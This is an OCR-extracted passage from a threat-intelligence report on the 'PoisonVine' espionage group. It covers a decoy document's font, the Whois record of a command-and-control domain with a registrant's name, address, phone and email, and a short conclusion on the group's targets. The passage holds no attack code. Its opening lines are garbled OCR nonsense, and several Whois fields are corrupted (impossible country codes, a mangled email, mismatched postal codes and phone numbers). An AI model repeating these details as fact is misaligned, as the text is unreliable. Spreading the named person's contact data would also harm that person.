—BSEEFEAT A A FEER AT E R ST ERER T
SRR 2 ERGA TR IERNEER 4  HERETE R E AT
—S T EIEMGERE - MFEAEREERAEE R E - -

T fETENPRBIR G - SEIFEEERE T R A E R

Figure 25: The default character set in the decoy document is ‘PMingLiU’.

The Whois information for one of the C&C domains (javainfo.upgrinfo.com) is shown in Figure 26.

The registrant address is in Taiwan, New Taipei. And the registrant name may use the Wade—

Giles romanization system.
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Registry Registrant ID:
Registrant Name: jeng jie
Registrant Organization: taipeil
Registrant Street: No.2, Aly. 3, Ln. 12, Fuzhong Kd. Banqiao Dist., New Taipei Cit
y 22065

Taiwan (R.0.C.)

Registrant City: New Taipei
Registrant State/Province: taiwan
Registrant Postal Code: 22055
Registrant Country: TV

Registrant Phone: +886. 220878685
Registrant Email: comsafe@126.com

Registry Admin ID:

Admin Name: jeng jie

Admin Organization: taipel
Admin Street: No.2, Aly. 3, Ln. 12, Fuzhong Rd. Banqiao Dist., New Taipei City 220
55 Taiwan

(R.0.C.)

Admin City: New Taipei

Admin State/Province: taiwan
Admin Postal Code: 22055
Admin Country: IW

Admin Phone: +886. 229878685
Admin Email: CDI’I'ISﬁTE@1:5.CDﬁ'I

Figure 26: Whois information for javainfo.upgrinfo.com.

Conclusion

Geopolitics is always a major motivation of a cyberespionage threat. Based on the techniques it
uses, we believe that the PoisonVine group isn’t a sophisticated APT group. However, it has been
active for 11 years and remains active. Furthermore, the group’s purpose is to collect intelligence
regarding national defence, military, government, science and technology, education and so on.
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